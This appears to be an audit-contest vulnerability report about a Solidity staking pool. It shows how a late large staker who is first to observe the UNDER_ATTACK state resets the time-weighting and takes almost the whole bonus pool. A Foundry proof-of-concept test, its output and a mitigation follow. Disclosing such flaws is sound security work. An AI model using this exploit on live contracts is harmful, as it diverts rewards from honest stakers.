FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: medium

Late first observation of UNDER_ATTACK lets a whale capture almost all bonus despite entering at the end of the attack window

Author Revealed upon completion

Root + Impact

ConfidencePool allows staking while the agreement is already in UNDER_ATTACK. The protocol design expects this to be safe because late UNDER_ATTACK entrants should receive a vanishing / near-zero bonus share due to the k=2 time-weighted formula.

However, when no one has previously interacted with the pool during UNDER_ATTACK, a late whale can become the first observer by calling stake() near the end of the attack window. This call seals riskWindowStart at the late timestamp and resets the global stake-time accumulators to that late timestamp. Existing early stakers are later clamped to the same late riskWindowStart.

As a result, the intended time-weighted bonus distribution collapses into an effectively amount-weighted distribution between early stakers and the late whale. The late whale can capture almost the entire sponsor-funded bonus pool despite entering after the attack was already public and shortly before resolution.

In the PoC below:

  • Alice stakes 100 tokens before the attack.

  • Carol contributes 100 bonus tokens.

  • The agreement enters UNDER_ATTACK.

  • Nobody pokes or interacts with the pool for almost 30 days.

  • Bob stakes 10,000 tokens as the first pool interaction during UNDER_ATTACK.

  • One second later, the agreement resolves to PRODUCTION and the moderator flags SURVIVED.

Observed result:

  • Alice receives only ~0.99 bonus tokens.

  • Bob receives ~99.01 bonus tokens.

Control result with prompt pokeRiskWindow():

  • Alice receives almost the full 100 bonus tokens.

  • Bob receives only ~0.000000001 bonus tokens.

This breaks the intended economic invariant that late entrants during the risk window should receive a vanishing bonus share.

Description

The root cause is the interaction between stake(), lazy risk-window observation, and _markRiskWindowStart().

stake() calls _observePoolState() before adding the new stake. When the registry is already in UNDER_ATTACK and riskWindowStart is still zero, _observePoolState() calls _markRiskWindowStart().

_markRiskWindowStart() sets riskWindowStart to the current block timestamp and resets the global accumulators:

function _markRiskWindowStart() internal {
uint256 t = block.timestamp;
if (t > expiry) t = expiry;
riskWindowStart = uint32(t);
// @> All existing stakers are re-based to the late observation timestamp.
sumStakeTime = totalEligibleStake * t;
sumStakeTimeSq = totalEligibleStake * t * t;
emit RiskWindowStarted(t);
}

This treats all existing stakers as if they entered at the late observation timestamp. Then the whale’s new stake is added at the same timestamp. When the pool resolves shortly after, both the honest early staker and the late whale have almost the same effective risk duration, so the bonus split becomes dominated by stake size.

The protocol documents that late entrants within the observed risk window should be crushed by the k=2 formula, but this only holds when the risk window was observed before the late stake. When the late stake itself is the first observation, the late entrant avoids the intended time-weight penalty.

Risk

Likelihood

Medium.

This occurs when:

  • the agreement enters UNDER_ATTACK,

  • no one calls pokeRiskWindow() and no other pool interaction occurs during the active-risk period,

  • a large staker enters late while the registry is still UNDER_ATTACK,

  • the agreement reaches a terminal state shortly afterward.

This is realistic because pokeRiskWindow() is permissionless but not guaranteed to be called. A rational whale can monitor the registry state and wait for pools whose riskWindowStart is still zero.

Impact

Medium.

The attacker does not steal staked principal, but they can redirect almost the entire sponsor-funded bonus pool away from honest early stakers. The loss is economic and directly affects the core incentive mechanism of the pool: early stakers are supposed to earn the bonus for bearing risk across the agreement term, while late entrants during an attack are supposed to receive a vanishing share.

The impact can approach 100% of the bonus pool, limited mainly by the attacker’s stake size relative to existing stakers.

Proof of Concept

Create the following file:

test/poc/LateObservationBonusDilutionCandidate.t.sol

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {console2} from "forge-std/console2.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
contract LateObservationBonusDilutionCandidate is BaseConfidencePoolTest {
function test_candidate_lateWhaleCapturesBonusWhenFirstRiskObservationIsDelayed() external {
_stake(alice, 100 * ONE);
_contributeBonus(carol, 100 * ONE);
// Attack is public from BASE_TIMESTAMP, but this pool receives no interaction/poke.
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
// Almost 30 days later, a whale stakes as the first pool interaction during UNDER_ATTACK.
vm.warp(BASE_TIMESTAMP + 30 days - 2);
_stake(bob, 10_000 * ONE);
assertEq(pool.riskWindowStart(), BASE_TIMESTAMP + 30 days - 2, "risk window starts late");
// Registry becomes terminal right after the whale joins.
vm.warp(BASE_TIMESTAMP + 30 days - 1);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
uint256 aliceBefore = token.balanceOf(alice);
vm.prank(alice);
pool.claimSurvived();
uint256 aliceBonus = token.balanceOf(alice) - aliceBefore - 100 * ONE;
uint256 bobBefore = token.balanceOf(bob);
vm.prank(bob);
pool.claimSurvived();
uint256 bobBonus = token.balanceOf(bob) - bobBefore - 10_000 * ONE;
console2.log("delayed observation aliceBonus", aliceBonus);
console2.log("delayed observation bobBonus", bobBonus);
assertGt(bobBonus, 98 * ONE, "late whale captures nearly all bonus");
assertLt(aliceBonus, 2 * ONE, "early staker is diluted to almost nothing");
}
function test_control_promptPokeMakesLateWhaleNearZeroBonus() external {
_stake(alice, 100 * ONE);
_contributeBonus(carol, 100 * ONE);
// Same public UNDER_ATTACK state, but this time someone observes it immediately.
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
assertEq(pool.riskWindowStart(), BASE_TIMESTAMP, "risk window starts at attack start");
// Same late whale joins near the end of the attack window.
vm.warp(BASE_TIMESTAMP + 30 days - 2);
_stake(bob, 10_000 * ONE);
vm.warp(BASE_TIMESTAMP + 30 days - 1);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
uint256 aliceBefore = token.balanceOf(alice);
vm.prank(alice);
pool.claimSurvived();
uint256 aliceBonus = token.balanceOf(alice) - aliceBefore - 100 * ONE;
uint256 bobBefore = token.balanceOf(bob);
vm.prank(bob);
pool.claimSurvived();
uint256 bobBonus = token.balanceOf(bob) - bobBefore - 10_000 * ONE;
console2.log("prompt observation aliceBonus", aliceBonus);
console2.log("prompt observation bobBonus", bobBonus);
assertGt(aliceBonus, 99 * ONE, "early staker keeps almost all bonus");
assertLt(bobBonus, ONE / 1000, "late whale gets near-zero bonus");
}
}

Run:

forge test --match-path test/poc/LateObservationBonusDilutionCandidate.t.sol -vvv

Output:

Ran 2 tests for test/poc/LateObservationBonusDilutionCandidate.t.sol:LateObservationBonusDilutionCandidate
[PASS] test_candidate_lateWhaleCapturesBonusWhenFirstRiskObservationIsDelayed() (gas: 678638)
Logs:
delayed observation aliceBonus 990099009900990099
delayed observation bobBonus 99009900990099009900
[PASS] test_control_promptPokeMakesLateWhaleNearZeroBonus() (gas: 681357)
Logs:
prompt observation aliceBonus 99999999998511563399
prompt observation bobBonus 1488436600
Suite result: ok. 2 passed; 0 failed; 0 skipped

The candidate test shows the late whale captures ~99.01 bonus tokens. The control test shows that with prompt observation, the same late whale receives only ~0.000000001 bonus tokens.

Recommended Mitigation

The simplest fix is to block stake() during UNDER_ATTACK, same as PROMOTION_REQUESTED, PRODUCTION, and CORRUPTED.

function _assertDepositsAllowed(IAttackRegistry.ContractState state) private pure {
if (
+ state == IAttackRegistry.ContractState.UNDER_ATTACK
+ ||
state == IAttackRegistry.ContractState.PROMOTION_REQUESTED
|| state == IAttackRegistry.ContractState.PRODUCTION || state == IAttackRegistry.ContractState.CORRUPTED
) {
revert StakingClosed();
}
}

Alternatively, if UNDER_ATTACK deposits must remain allowed, the protocol should ensure that a stake call which first observes UNDER_ATTACK cannot reset existing stakers' effective entry time to the late observer’s timestamp in a way that makes the late stake amount-weighted against early stakers.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!